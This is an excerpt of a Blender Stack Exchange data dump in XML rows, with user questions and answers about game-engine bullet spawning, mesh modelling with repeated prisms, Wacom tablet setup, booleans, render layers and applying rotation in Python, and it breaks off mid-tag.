  <row Id="36627" PostTypeId="1" AcceptedAnswerId="36795" CreationDate="2015-08-29T00:49:20.493" Score="0" ViewCount="407" Body="&lt;p&gt;I'm trying to make a turret in blender game engine,&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/I6Rqk.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/I6Rqk.png&quot; alt=&quot;Laser&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;(the small red object is the laser)&lt;/p&gt;&#xA;&lt;p&gt;As you can probably tell, this is a laser turret(top right), but the lasers (nothing special, just a red cube reshaped) are pointing the wrong direction.&lt;/p&gt;&#xA;&lt;p&gt;I can't really say much more other than give a screenshot of my logic bricks.&#xA;&lt;a href=&quot;https://i.stack.imgur.com/DttzN.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/DttzN.png&quot; alt=&quot;Logic bricks&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;What fires this object is a empty. And it's called to fire it by the turret you see it's self. No need to show the logic bricks for what calls it, unless needed.&lt;/p&gt;&#xA;&lt;p&gt;I truly apologize for any mistakes. I tried to look this up, and found no results, and it's 1:47 AM and i need to wake up early tomorrow.&lt;/p&gt;&#xA;&lt;p&gt;A link to download the .blend: &lt;a href=&quot;https://www.dropbox.com/s/4psdrb2zf8xcs7x/Cube%20assault%20%3B%29.blend?dl=0&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.dropbox.com/s/4psdrb2zf8xcs7x/Cube%20assault%20%3B%29.blend?dl=0&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="11237" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2015-08-31T15:27:02.807" Title="BGE: Add object actuator spawning bullet on wrong angle" Tags="&lt;game-engine&gt;&lt;logic-bricks&gt;" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36628" PostTypeId="1" CreationDate="2015-08-29T01:14:07.647" Score="5" ViewCount="1484" Body="&lt;p&gt;I was wondering if I could make an object out of other objects.&lt;br&gt;&#xA;Example: The surface area of a cube will be made out of small hexagonal prisms. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was wondering because I would like to create an armored suit made up of small triangular prisms. Also I want for the triangular prisms to be part of the mesh so that when I add an armature to it, it will move with the mesh.&lt;/p&gt;&#xA;" OwnerUserId="16764" LastEditorUserId="2217" LastEditDate="2015-08-29T02:46:34.023" LastActivityDate="2015-08-29T10:02:40.147" Title="Creating an object out of other objects" Tags="&lt;mesh&gt;&lt;modifiers&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="36629" PostTypeId="1" CreationDate="2015-08-29T01:36:45.623" Score="6" ViewCount="715" Body="&lt;p&gt;just got a new wacom tablet , mapped &#xA; the right mouse button &#xA;for selecting ,everything great  but how can i  get rid of the 3D cursor,wich is following my pointer the all time ???&#xA;(disabling it in user- pref just left it frozen in the middle ...)&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;unfortunatly after installing window 10 , reinstalling the driver , the stylus is not selcting with RM button , just get a variation of usless ripple effect at the cursor and it does not select anymore...&lt;/p&gt;&#xA;" OwnerUserId="16765" LastEditorUserId="12" LastEditDate="2015-09-04T00:18:51.320" LastActivityDate="2015-09-04T12:03:00.760" Title="wacom tablet right mouse and 3D cursor" Tags="&lt;3d-cursor&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="36631" PostTypeId="2" ParentId="36626" CreationDate="2015-08-29T02:15:32.430" Score="3" Body="&lt;p&gt;As cegaton said, you may achieve it using &lt;em&gt;extrude tool&lt;/em&gt;. Place the cursor in the center of a plane, select 3 vertices, press &lt;kbd&gt;E&lt;/kbd&gt; to extrude them, then &lt;kbd&gt;S&lt;/kbd&gt; to scale (you may input the scale value from your numerical keyboard). Next enable the &lt;em&gt;Snapping Tool&lt;/em&gt; (click the magnet icon) and change the snapping element type to &lt;em&gt;Vertex&lt;/em&gt;. Select the vertices as pictured below, press &lt;kbd&gt;G&lt;/kbd&gt; and input the proper axis. Move the mouse until they snap to others.&#xA;&lt;a href=&quot;https://i.stack.imgur.com/VfTJe.gif&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/VfTJe.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to make a reverse select the whole plane (&lt;kbd&gt;A&lt;/kbd&gt;), hit &lt;kbd&gt;W&lt;/kbd&gt;&lt;em&gt;--&gt;Subdivide&lt;/em&gt;. Select two vertices as pictured below and press &lt;kbd&gt;G&lt;/kbd&gt; twice to merge them. Select the whole mesh again, press &lt;kbd&gt;W&lt;/kbd&gt;&lt;em&gt;--&gt;Remove Doubles&lt;/em&gt;. Press &lt;kbd&gt;G&lt;/kbd&gt; twice to slide the selected vertices.&#xA;&lt;a href=&quot;https://i.stack.imgur.com/8YfMR.gif&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/8YfMR.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="7797" LastActivityDate="2015-08-29T02:15:32.430" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36632" PostTypeId="2" ParentId="36628" CreationDate="2015-08-29T02:21:10.393" Score="1" Body="&lt;p&gt;This is certainly possible! We might be able to answer more specifically if you could explain what you're envisioning more clearly, maybe with a sketch?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;strong&gt;poke tool&lt;/strong&gt; might get you started in the right direction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/chTT7.gif&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/chTT7.gif&quot; alt=&quot;Path to the poke tool&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's a great tutorial on it, that includes several examples of incorporating triangular prisms into mesh: &lt;a href=&quot;https://www.youtube.com/watch?v=0rXDVF_PijA&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.youtube.com/watch?v=0rXDVF_PijA&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="16740" LastActivityDate="2015-08-29T02:21:10.393" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36633" PostTypeId="2" ParentId="36629" CreationDate="2015-08-29T02:26:46.583" Score="5" Body="&lt;p&gt;I've been using a wacom tablet for a long time. What works for me is mapping the tip to click, the lower button for right click, top button to double click. Then I enable Emulate 3 Button mouse.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/1gU4t.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/1gU4t.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;To zoom in I use &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;Alt&lt;/kbd&gt; while pressing/draggin the pen&lt;/li&gt;&#xA;&lt;li&gt;&lt;kbd&gt;Alt&lt;/kbd&gt; Drag to rotate&lt;/li&gt;&#xA;&lt;li&gt;&lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;Alt&lt;/kbd&gt; Drag to move siedeways and up/down&lt;/li&gt;&#xA;&lt;li&gt;Selecting I do by hovering over the vertices/edges/faces and clicking on the lower button&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;I like this configuration because Continuous grab lets me select and grab in a single operation.&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastEditorUserId="3710" LastEditDate="2015-09-04T12:03:00.760" LastActivityDate="2015-09-04T12:03:00.760" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="36634" PostTypeId="1" CreationDate="2015-08-29T02:31:04.237" Score="3" ViewCount="527" Body="&lt;p&gt;I'm a bit stumped on how I can do something like this. I'm making a whip from Steven Universe and I want to know if I can somehow designate parts of the object as vertex groups that are rigid bodies, and other parts that are soft bodies.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I basically mean, is that I want to know if I can use vertex groups to separate parts of my whip into being soft bodied (the whip section) or rigid bodied (handle, tip and such)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's a very quickly done render of my object for reference. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/Ri2nl.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Ri2nl.jpg&quot; alt=&quot;Amethyst Whip Steven Universe&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="11387" LastActivityDate="2015-08-29T02:31:04.237" Title="Making a object with soft and rigid body physics" Tags="&lt;physics&gt;&lt;rigid-body-simulation&gt;&lt;soft-body&gt;" AnswerCount="0" CommentCount="1" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="36635" PostTypeId="2" ParentId="36621" CreationDate="2015-08-29T02:34:59.197" Score="3" Body="&lt;p&gt;I just tested the Bsurfaces addon (version 1.5) with blender version 2.75a and it is completely functional (with a bug that disables &lt;em&gt;Global Undo&lt;/em&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However there are a few things you need to be sure of to get it to work.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Set the grease pencil source to &lt;em&gt;Object&lt;/em&gt; (this is your problem)&lt;br&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/epIAz.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/epIAz.png&quot; alt=&quot;grease pencil settings&quot;&gt;&lt;/a&gt;&lt;br&gt;&#xA;The tool tip even says that it is needed for Bsurfaces to work.&lt;br&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/lKd3d.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/lKd3d.png&quot; alt=&quot;tool tip&quot;&gt;&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;For best results draw the strokes in &lt;em&gt;Object&lt;/em&gt; mode.&lt;br&gt;&#xA;However if you drew in edit mode and it looks like this:&lt;br&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/SryAQ.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/SryAQ.png&quot; alt=&quot;bad grease pencil strokes on surface&quot;&gt;&lt;/a&gt;&lt;br&gt;&#xA;You can click on the &lt;em&gt;Enable Editing&lt;/em&gt; button in the &lt;em&gt;Grease Pencil&lt;/em&gt; tab of the tool shelf.&lt;br&gt;&#xA;Or you can click the &lt;em&gt;Edit Strokes&lt;/em&gt; button. It is in the &lt;em&gt;Tools&lt;/em&gt; tab of the tool shelf.&lt;br&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/33sYP.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/33sYP.png&quot; alt=&quot;Edit Strokes button&quot;&gt;&lt;/a&gt;&lt;br&gt;&#xA;I prefer the latter because you can simple delete the bad points, and not bother with trying to reposition them.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Save often, as in before you start Bsurfaces and after you create every piece you are happy with. You will still find bugs.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Last I would refer you to &lt;a href=&quot;https://blender.stackexchange.com/a/16205/2217&quot;&gt;my answer&lt;/a&gt; on resources for Bsurfaces, there is a great PDF, that is still very useful.&lt;/p&gt;&#xA;" OwnerUserId="2217" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:38.987" LastActivityDate="2015-08-29T02:34:59.197" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36636" PostTypeId="2" ParentId="36626" CreationDate="2015-08-29T02:47:22.960" Score="4" Body="&lt;p&gt;Here's an alternate method that might be useful in some circumstances. In edit mode, select one of the vertices of the plane, and from the context menu of the snap tool (&lt;kbd&gt;SHFT&lt;/kbd&gt; - &lt;kbd&gt;S&lt;/kbd&gt;), select &quot;Cursor to selected&quot;. Next, invert the selection (&lt;kbd&gt;CTRL&lt;/kbd&gt; - &lt;kbd&gt;I&lt;/kbd&gt;), to deselect the original vertex, and select the other three. Then set the pivot point to 3D cursor, extrude the selected vertices, and scale to the desired size.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/lb483.gif&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/lb483.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3401" LastEditorDisplayName="user1853" LastEditDate="2015-08-29T19:18:27.157" LastActivityDate="2015-08-29T19:18:27.157" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="36637" PostTypeId="2" ParentId="36626" CreationDate="2015-08-29T02:48:59.840" Score="4" Body="&lt;p&gt;Here is the &lt;em&gt;fastest&lt;/em&gt; way:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;ensure the Pivot Center is set to '3D Cursor'&lt;/li&gt;&#xA;&lt;li&gt;select only the vertex at the top right&lt;/li&gt;&#xA;&lt;li&gt;hit &lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;S&lt;/kbd&gt; then 'Cursor to Selected', which moves the 3D Cursor to that vertex&lt;/li&gt;&#xA;&lt;li&gt;hit &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;I&lt;/kbd&gt; which will invert your selection&lt;/li&gt;&#xA;&lt;li&gt;hit &lt;kbd&gt;E&lt;/kbd&gt; to extrude, then &lt;kbd&gt;S&lt;/kbd&gt; to scale&lt;/li&gt;&#xA;&lt;li&gt;hit &lt;kbd&gt;Enter&lt;/kbd&gt; when satisfied&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;This prevents the necessity of repositioning the two edge vertices.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/UryD5.gif&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/UryD5.gif&quot; alt=&quot;animated gif&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="16665" LastEditorUserId="2217" LastEditDate="2015-08-29T19:52:29.937" LastActivityDate="2015-08-29T19:52:29.937" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="36638" PostTypeId="2" ParentId="36626" CreationDate="2015-08-29T03:18:02.093" Score="4" Body="&lt;p&gt;Fastest way &lt;em&gt;(albeit not the best)&lt;/em&gt; of all current answers is to just extrude and scale a bit by some eyeballing based on object size then move the extrusion into place with &lt;kbd&gt;G&lt;/kbd&gt;. No fancy 3d cursor tricks and keyboard shortcuts/tools needed. ;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The reason it snaps into place when freely moving is because snapping is on (&lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;Tab&lt;/kbd&gt;) and set to move in increments which is based on the grid.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/uEN7C.gif&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/uEN7C.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="12" LastEditorUserId="12" LastEditDate="2015-08-29T22:15:48.403" LastActivityDate="2015-08-29T22:15:48.403" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="36641" PostTypeId="1" AcceptedAnswerId="36645" CreationDate="2015-08-29T05:15:41.567" Score="1" ViewCount="693" Body="&lt;p&gt;I asked this question earlier without too much context. I attached the file of my blender project to provide better info. Here is what I wrote in in my previous thread:&#xA;So when I render the lamp most of the meshes don't show up. All objects are set to be rendered so I don't know why this is happening. Also when I copy the lamp and paste it in a new blender window, the same objects that won't show up when rendered in the original file won't show up in object or edit mode. &#xA;I attached the file on the following link:&#xA;&lt;a href=&quot;https://drive.google.com/file/d/0Bw9YfCDmAT5BNGVGOU1aRnRKclU/view?usp=sharing&quot; rel=&quot;nofollow&quot;&gt;https://drive.google.com/file/d/0Bw9YfCDmAT5BNGVGOU1aRnRKclU/view?usp=sharing&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="16767" LastActivityDate="2015-08-29T08:02:57.310" Title="Objects aren't visible when I render the image" Tags="&lt;rendering&gt;&lt;blender-internal-render-engine&gt;" AnswerCount="2" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="36642" PostTypeId="1" CreationDate="2015-08-29T05:49:16.717" Score="2" ViewCount="371" Body="&lt;p&gt;I've imported some svgs, converted them to meshes, and I'm trying to stamp-cut one using the other.&lt;/p&gt;&#xA;&lt;p&gt;Essentially, I have two cookie cutter meshes (no thickness, but has depth) at the same location. I've z-rotated one of them a bit, left the other, and now I want the intersection of the two.&lt;/p&gt;&#xA;&lt;p&gt;I tried the boolean modifier, but it says it can't complete the operation. I also tried mesh &amp;gt; faces &amp;gt; intersect, also didn't work.&lt;/p&gt;&#xA;&lt;p&gt;Any help is appreciated.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/3GLZk.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/3GLZk.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="15445" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2015-08-30T01:52:51.140" Title="Stamp Cut another Mesh" Tags="&lt;mesh&gt;&lt;modifiers&gt;" AnswerCount="2" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="36643" PostTypeId="2" ParentId="36641" CreationDate="2015-08-29T06:00:21.693" Score="-2" Body="&lt;p&gt;I don't have an answer; I would comment if I could, but I'm a n00b here and I don't have reputation points. But I wanted to throw in what I found.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was playing around with joining and separating everything in the scene, and this monster appeared. I'm getting it to appear by selecting everything in the scene and joining. You might have to join/separate on repeat.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/uo5sR.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/uo5sR.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It breaks down into these parts, many of which seem redundant:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/JJsVa.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/JJsVa.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Have you seen this thing before? In edit mode, nothing shows as selected, though it behaves as if it is when I manipulate it. And once it appears, the verts count goes to 0.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also noticed that the spring pieces disappear when they're joined.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If it's any solace, I'm thoroughly confused.&lt;/p&gt;&#xA;" OwnerUserId="16740" LastActivityDate="2015-08-29T06:00:21.693" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="36644" PostTypeId="2" ParentId="36642" CreationDate="2015-08-29T06:02:44.803" Score="1" Body="&lt;p&gt;Boolean modifier is the correct option. It is failing because your meshes are not closed. Booleans do not work on open meshes. Select the ending loops of your meshes and press F to add a face. You can delete it again after the boolean has run.&lt;/p&gt;&#xA;" OwnerUserId="13324" LastEditorUserId="13324" LastEditDate="2015-08-30T01:31:59.777" LastActivityDate="2015-08-30T01:31:59.777" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="36645" PostTypeId="2" ParentId="36641" CreationDate="2015-08-29T07:33:50.497" Score="1" Body="&lt;p&gt;&lt;strong&gt;LAYERS&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/F2fr2.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/F2fr2.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Do the following for every object from largest object to the smallest.  In the object panel / Relations click on layer (1) so it is dark as in the image above, the upper left layer rectangle of 20 possible.  Then click render.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;These layers are coordinated with these Render Layer Settings&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/6RAoj.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/6RAoj.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;When a new simple file is created objects are on layer 1 and the render layer settings are showing at least layer 1.  Blender gives the user the flexibility to hide or show these layers at different times and phases.  It can be used as a feature or to create confusion.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to know more you can now search at this website and blender.org and video site for information about [layers].  Quick Summary.  Every file can have multiple render layers.  Every render layer can select some of the twenty layers.  Every object can be on some render layers.  All 3 concepts must be coordinated with other hidden delights for an object to appear in the render.&lt;/p&gt;&#xA;" OwnerUserId="6076" LastEditorUserId="6076" LastEditDate="2015-08-29T08:02:57.310" LastActivityDate="2015-08-29T08:02:57.310" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36646" PostTypeId="1" CreationDate="2015-08-29T07:53:00.670" Score="1" ViewCount="64" Body="&lt;p&gt;The model I'm working on uses a weird &lt;a href=&quot;https://en.wikipedia.org/wiki/Cg_(programming_language)&quot; rel=&quot;nofollow&quot;&gt;Cg-based&lt;/a&gt; shader. Is there a way I can run it in the 3d-view so that I can see what I'm doing?&lt;/p&gt;&#xA;" OwnerUserId="409" LastEditorUserId="409" LastEditDate="2015-08-29T08:46:41.633" LastActivityDate="2015-08-29T08:46:41.633" Title="Change the RT shader used for the 3d view?" Tags="&lt;3d-view&gt;&lt;shaders&gt;" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="36647" PostTypeId="1" AcceptedAnswerId="36668" CreationDate="2015-08-29T08:28:44.550" Score="5" ViewCount="2873" Body="&lt;p&gt;How to apply rotation directly to an object in Python (not BGE, not bpy.ops...)?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;import mathutils&#xA;from mathutils import*&#xA;&#xA;obj = bpy.context.active_object&#xA;obj.rotation_euler = Vector([0, 0, 45])&#xA;&#xA;#obj.apply_rotation&#xA;#Apply rotation like CTRL+A -&amp;gt; Rotation&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I need a method for an object that's been already rotated like in my example code.&lt;/p&gt;&#xA;" OwnerUserId="8235" LastEditorUserId="47" LastEditDate="2015-08-29T10:16:14.750" LastActivityDate="2018-08-26T18:21:35.170" Title="Python: Low level apply rotation to an object" Tags="&lt;python&gt;" AnswerCount="3" CommentCount="2" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="36650" PostTypeId="2" ParentId="36628" CreationDate="2015-08-29T09:49:04.033" Score="4" Body="&lt;h2&gt;1) Duplifaces (or dupliverts)&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;After creating the object to duplicate (hexagon in this case) and parented it to the armored suit, you should enable in the parent's Duplication panel (in the Object tab) the option Faces.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/lYdtf.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/lYdtf.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By enabling the Scale option, the hexagon will be scaled accordly to the face's size, so in the part of the mesh where the quads are more dense, you'll have more dense hexagons too.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Till you don't Make duplicates real, the hexagons will be attacchet to the mesh. This can be really helpful in animating meshes with shape keys, or transfer cloth simulation from the parent to the child without involving all the duplicated geometry.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/Jm3Hp.gif&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Jm3Hp.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Note: that you can study the hexagon pattern in a way that can cover the whole suit without leaving spaces, in order to completely replace the base mesh, but a more suitable way to do this is:...&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;2) &lt;a href=&quot;http://www.co-de-it.com/wordpress/code/blender-tissue&quot; rel=&quot;nofollow noreferrer&quot;&gt;Tissue&lt;/a&gt; add-on&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;As stated by the creator:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Tessellate tool allows the user to copy a selected object (Component) on the faces of the active object (Generator), adapting its bounding box to the shape of quad-faces.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;There are a few option that can help you in the modeling, such as automatically vertex merging, proportional Z-scale. I think that is currently the best option to repeat a pattern on a surface while adapting the geometry to the face scale and get an organic look. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/5q1qj.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/5q1qj.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/TimkK.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/TimkK.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was in hurry and I didn't used hexagons but octagons because the pattern was easier, but I'm sure that with some time you can get the effect you want.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The add on is currently in develop, so it still doesn't support shape keys, uv,... but they are working on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's the &lt;a href=&quot;http://blenderartists.org/forum/showthread.php?375378-tissue-by-Alessandro-Zomparelli&quot; rel=&quot;nofollow noreferrer&quot;&gt;blender artist thread&lt;/a&gt; about it.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;The add-on include also another feature, called &quot;&lt;strong&gt;Dual mesh&lt;/strong&gt;&quot; that:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;... modify the selected meshes creating dual meshes. Dual Mesh output is a polygonal mesh derived from the triangular mesh. Quadrangolar meshes are automatically converted to triangular before.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Balsically youll'get a pattern of hexagonal N-gons from every mesh, which you can extrude.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Triangulate your mesh, that simply run the command and you'll get:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/3N19W.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/3N19W.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Than you can extrude individual faces to get an &lt;em&gt;invincible-dragon-scale&lt;/em&gt; armor:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/is6Ss.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/is6Ss.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Credits:&lt;/em&gt;&#xA;&lt;em&gt;Armor suite model from &lt;a href=&quot;http://www.blendswap.com/blends/view/58167&quot; rel=&quot;nofollow noreferrer&quot;&gt;blendswap&lt;/a&gt; made by &lt;a 